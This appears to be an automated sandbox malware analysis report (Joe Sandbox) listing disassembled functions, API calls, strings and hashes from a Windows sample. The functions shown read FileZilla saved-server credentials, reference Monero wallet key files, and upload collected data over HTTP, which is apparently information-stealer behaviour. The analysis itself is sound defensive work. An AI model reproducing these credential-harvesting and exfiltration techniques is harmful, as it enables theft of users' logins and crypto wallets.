Opcode Fuzzy Hash: 6e72681c565b3527d050edc88ead628a284e02831b4f0afccb68c1f130e0b7b5
Instruction Fuzzy Hash: 6C62FAB6938300EFC744DFA9ED8896637FAF78C701714C51AAA09C3264D6399841FBD2

Function 006C7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 006C7724
RtlAllocateHeap.NTDLL(00000000), ref: 006C772B
lstrcat.KERNEL32(?,013E94C8), ref: 006C78DB
lstrcat.KERNEL32(?,?), ref: 006C78EF
lstrcat.KERNEL32(?,?), ref: 006C7903
lstrcat.KERNEL32(?,?), ref: 006C7917
lstrcat.KERNEL32(?,013EDD70), ref: 006C792B
lstrcat.KERNEL32(?,013EDC80), ref: 006C793F
lstrcat.KERNEL32(?,013EDCB0), ref: 006C7952
lstrcat.KERNEL32(?,013EDB18), ref: 006C7966
lstrcat.KERNEL32(?,013EDFD8), ref: 006C797A
lstrcat.KERNEL32(?,?), ref: 006C798E
lstrcat.KERNEL32(?,?), ref: 006C79A2
lstrcat.KERNEL32(?,?), ref: 006C79B6
lstrcat.KERNEL32(?,013EDD70), ref: 006C79C9
lstrcat.KERNEL32(?,013EDC80), ref: 006C79DD
lstrcat.KERNEL32(?,013EDCB0), ref: 006C79F1
lstrcat.KERNEL32(?,013EDB18), ref: 006C7A04
lstrcat.KERNEL32(?,013EE040), ref: 006C7A18
lstrcat.KERNEL32(?,?), ref: 006C7A2C
lstrcat.KERNEL32(?,?), ref: 006C7A40
lstrcat.KERNEL32(?,?), ref: 006C7A54
lstrcat.KERNEL32(?,013EDD70), ref: 006C7A68
lstrcat.KERNEL32(?,013EDC80), ref: 006C7A7B
lstrcat.KERNEL32(?,013EDCB0), ref: 006C7A8F
lstrcat.KERNEL32(?,013EDB18), ref: 006C7AA3
lstrcat.KERNEL32(?,013EE0A8), ref: 006C7AB6
lstrcat.KERNEL32(?,?), ref: 006C7ACA
lstrcat.KERNEL32(?,?), ref: 006C7ADE
lstrcat.KERNEL32(?,?), ref: 006C7AF2
lstrcat.KERNEL32(?,013EDD70), ref: 006C7B06
lstrcat.KERNEL32(?,013EDC80), ref: 006C7B1A
lstrcat.KERNEL32(?,013EDCB0), ref: 006C7B2D
lstrcat.KERNEL32(?,013EDB18), ref: 006C7B41
lstrcat.KERNEL32(?,013EE110), ref: 006C7B55
lstrcat.KERNEL32(?,?), ref: 006C7B69
lstrcat.KERNEL32(?,?), ref: 006C7B7D
lstrcat.KERNEL32(?,?), ref: 006C7B91
lstrcat.KERNEL32(?,013EDD70), ref: 006C7BA4
lstrcat.KERNEL32(?,013EDC80), ref: 006C7BB8
lstrcat.KERNEL32(?,013EDCB0), ref: 006C7BCC
lstrcat.KERNEL32(?,013EDB18), ref: 006C7BDF
lstrcat.KERNEL32(?,013EE178), ref: 006C7BF3
lstrcat.KERNEL32(?,?), ref: 006C7C07
lstrcat.KERNEL32(?,?), ref: 006C7C1B
lstrcat.KERNEL32(?,?), ref: 006C7C2F
lstrcat.KERNEL32(?,013EDD70), ref: 006C7C43
lstrcat.KERNEL32(?,013EDC80), ref: 006C7C56
lstrcat.KERNEL32(?,013EDCB0), ref: 006C7C6A
lstrcat.KERNEL32(?,013EDB18), ref: 006C7C7E

Part of subcall function 006C75D0: lstrcat.KERNEL32(35B45020,006E17FC), ref: 006C7606
Part of subcall function 006C75D0: lstrcat.KERNEL32(35B45020,00000000), ref: 006C7648
Part of subcall function 006C75D0: lstrcat.KERNEL32(35B45020, : ), ref: 006C765A
Part of subcall function 006C75D0: lstrcat.KERNEL32(35B45020,00000000), ref: 006C768F
Part of subcall function 006C75D0: lstrcat.KERNEL32(35B45020,006E1804), ref: 006C76A0
Part of subcall function 006C75D0: lstrcat.KERNEL32(35B45020,00000000), ref: 006C76D3
Part of subcall function 006C75D0: lstrcat.KERNEL32(35B45020,006E1808), ref: 006C76ED
Part of subcall function 006C75D0: task.LIBCPMTD ref: 006C76FB

lstrcat.KERNEL32(?,013EE440), ref: 006C7E0B
lstrcat.KERNEL32(?,013ED3B8), ref: 006C7E1E
lstrlen.KERNEL32(35B45020), ref: 006C7E2B
lstrlen.KERNEL32(35B45020), ref: 006C7E3B

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: dce2331f675e7e48b9bbb9fff37533ad962012414276e959ad1b77c7ca77e734
Instruction ID: a2d730c986c956d246f955e7e4395c02f2aabeceedda135a689f0ff93bb98ac1
Opcode Fuzzy Hash: dce2331f675e7e48b9bbb9fff37533ad962012414276e959ad1b77c7ca77e734
Instruction Fuzzy Hash: 3D322DB6C14314AFC755EBA0DC89DEE737DBB48700F404A89F209A6180EE74EB859F95

Function 006D0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006D8E0B

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Part of subcall function 006C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006C99EC
Part of subcall function 006C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006C9A11
Part of subcall function 006C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006C9A31
Part of subcall function 006C99C0: ReadFile.KERNEL32(000000FF,?,00000000,006C148F,00000000), ref: 006C9A5A
Part of subcall function 006C99C0: LocalFree.KERNEL32(006C148F), ref: 006C9A90
Part of subcall function 006C99C0: CloseHandle.KERNEL32(000000FF), ref: 006C9A9A

Part of subcall function 006D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006D8E52

GetProcessHeap.KERNEL32(00000000,000F423F,006E0DBA,006E0DB7,006E0DB6,006E0DB3), ref: 006D0362
RtlAllocateHeap.NTDLL(00000000), ref: 006D0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 006D0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006E0DB2), ref: 006D0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 006D03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006E0DB2), ref: 006D03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 006D0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006E0DB2), ref: 006D0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 006D0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006E0DB2), ref: 006D0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006E0DB2), ref: 006D0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006E0DB2), ref: 006D051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006E0DB2), ref: 006D0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006E0DB2), ref: 006D054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 006D0562
lstrcat.KERNEL32(?,profile: null), ref: 006D0571
lstrcat.KERNEL32(?,url: ), ref: 006D0580
lstrcat.KERNEL32(?,00000000), ref: 006D0593
lstrcat.KERNEL32(?,006E1678), ref: 006D05A2
lstrcat.KERNEL32(?,00000000), ref: 006D05B5
lstrcat.KERNEL32(?,006E167C), ref: 006D05C4
lstrcat.KERNEL32(?,login: ), ref: 006D05D3
lstrcat.KERNEL32(?,00000000), ref: 006D05E6
lstrcat.KERNEL32(?,006E1688), ref: 006D05F5
lstrcat.KERNEL32(?,password: ), ref: 006D0604
lstrcat.KERNEL32(?,00000000), ref: 006D0617
lstrcat.KERNEL32(?,006E1698), ref: 006D0626
lstrcat.KERNEL32(?,006E169C), ref: 006D0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006E0DB2), ref: 006D068E

Strings

password: , xrefs: 006D05FB
<User>, xrefs: 006D0410
browser: FileZilla, xrefs: 006D0559
<Port>, xrefs: 006D03C6
profile: null, xrefs: 006D0568
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 006D02A4
login: , xrefs: 006D05CA
url: , xrefs: 006D0577
<Pass encoding="base64">, xrefs: 006D045A
<Host>, xrefs: 006D037C

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: c573b75d7ef074b333adeedd7f6d36bdc4e1c50204b820b9f589d3393b340d62
Instruction ID: 9d98885772728f2ee8289522131d8c62d4be13ca7c8fdb32561ca9536b48ddb4
Opcode Fuzzy Hash: c573b75d7ef074b333adeedd7f6d36bdc4e1c50204b820b9f589d3393b340d62
Instruction Fuzzy Hash: DCD18171D14208AFDB44EBF0CC96EEE733AEF14300F44851DF502A6291EE74AA46DBA5

Function 006C5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Part of subcall function 006C47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006C4839
Part of subcall function 006C47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006C4849

lstrlen.KERNEL32(00000000), ref: 006C5193

Part of subcall function 006D8EA0: CryptBinaryToStringA.CRYPT32(00000000,006C5184,40000001,00000000,00000000,?,006C5184), ref: 006D8EC0

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006C5207
StrCmpCA.SHLWAPI(?,013EE5B0), ref: 006C5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006C5340
HttpOpenRequestA.WININET(00000000,013EE5C0,?,013EDBF0,00000000,00000000,00400100,00000000), ref: 006C53A4

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,013EE4D0,00000000,?,013E9948,00000000,?,006E19DC,00000000,?,006D51CF), ref: 006C5737
lstrlen.KERNEL32(00000000), ref: 006C574B
GetProcessHeap.KERNEL32(00000000,?), ref: 006C575C
RtlAllocateHeap.NTDLL(00000000), ref: 006C5763
lstrlen.KERNEL32(00000000), ref: 006C5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006C57A9
lstrlen.KERNEL32(00000000), ref: 006C57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006C57E1
lstrlen.KERNEL32(00000000,?,?), ref: 006C580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 006C5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006C584D
InternetCloseHandle.WININET(00000000), ref: 006C58B1
InternetCloseHandle.WININET(00000000), ref: 006C58BE
InternetCloseHandle.WININET(00000000), ref: 006C58C8

Strings

", xrefs: 006C55C4
", xrefs: 006C5482
--, xrefs: 006C5280
------, xrefs: 006C563B
------, xrefs: 006C53B7
", xrefs: 006C5706
------, xrefs: 006C54F9
------, xrefs: 006C5297

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 014ce4e112bb2794731a5e87dfb1b4efcae0c2556acdab73294529753601d394
Instruction ID: 3fee2ce3c6334559c352cfeba28213571d9ad2df6b75a550af2b14cb38ca25fa
Opcode Fuzzy Hash: 014ce4e112bb2794731a5e87dfb1b4efcae0c2556acdab73294529753601d394
Instruction Fuzzy Hash: 14327272C25218AADB54EBE0DC91FEEB37ABF14700F40415EF50666292EF302A49DF59

Function 006CA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006DAA70: StrCmpCA.SHLWAPI(013E8830,006CA7A7,?,006CA7A7,013E8830), ref: 006DAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 006CAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 006CAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 006CABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006CA8B0

Part of subcall function 006DA820: lstrlen.KERNEL32(006C4F05,?,?,006C4F05,006E0DDE), ref: 006DA82B
Part of subcall function 006DA820: lstrcpy.KERNEL32(006E0DDE,00000000), ref: 006DA885

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

lstrcat.KERNEL32(?,00000000), ref: 006CACEB
lstrcat.KERNEL32(?,006E1320), ref: 006CACFA
lstrcat.KERNEL32(?,00000000), ref: 006CAD0D
lstrcat.KERNEL32(?,006E1324), ref: 006CAD1C
lstrcat.KERNEL32(?,00000000), ref: 006CAD2F
lstrcat.KERNEL32(?,006E1328), ref: 006CAD3E
lstrcat.KERNEL32(?,00000000), ref: 006CAD51
lstrcat.KERNEL32(?,006E132C), ref: 006CAD60
lstrcat.KERNEL32(?,00000000), ref: 006CAD73
lstrcat.KERNEL32(?,006E1330), ref: 006CAD82
lstrcat.KERNEL32(?,00000000), ref: 006CAD95
lstrcat.KERNEL32(?,006E1334), ref: 006CADA4
lstrcat.KERNEL32(?,00000000), ref: 006CADB7
lstrlen.KERNEL32(?), ref: 006CAE0D
lstrlen.KERNEL32(?), ref: 006CAE1C

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

DeleteFileA.KERNEL32(00000000), ref: 006CAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 006CABD4

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 6e5307aa5ef2c2a65e73419e59ad61a7d4c028905806d1f219342b02e1282ab0
Instruction ID: 4859897221588a523fc1db1cc52ec888a7271711edf4b89adae0651ea0587d92
Opcode Fuzzy Hash: 6e5307aa5ef2c2a65e73419e59ad61a7d4c028905806d1f219342b02e1282ab0
Instruction Fuzzy Hash: EC124271D141089BCB44EBE0DD96EEE733ABF14300F50411DF507A6291DE35AE45EBAA

Function 006C5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Part of subcall function 006C47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006C4839
Part of subcall function 006C47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006C4849

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006C59F8
StrCmpCA.SHLWAPI(?,013EE5B0), ref: 006C5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006C5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,013EE470,00000000,?,013E9948,00000000,?,006E1A1C), ref: 006C5E71
lstrlen.KERNEL32(00000000), ref: 006C5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 006C5E93
RtlAllocateHeap.NTDLL(00000000), ref: 006C5E9A
lstrlen.KERNEL32(00000000), ref: 006C5EAF
lstrlen.KERNEL32(00000000), ref: 006C5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006C5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 006C5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 006C5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 006C5F4C
InternetCloseHandle.WININET(00000000), ref: 006C5FB0
InternetCloseHandle.WININET(00000000), ref: 006C5FBD
HttpOpenRequestA.WININET(00000000,013EE5C0,?,013EDBF0,00000000,00000000,00400100,00000000), ref: 006C5BF8

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
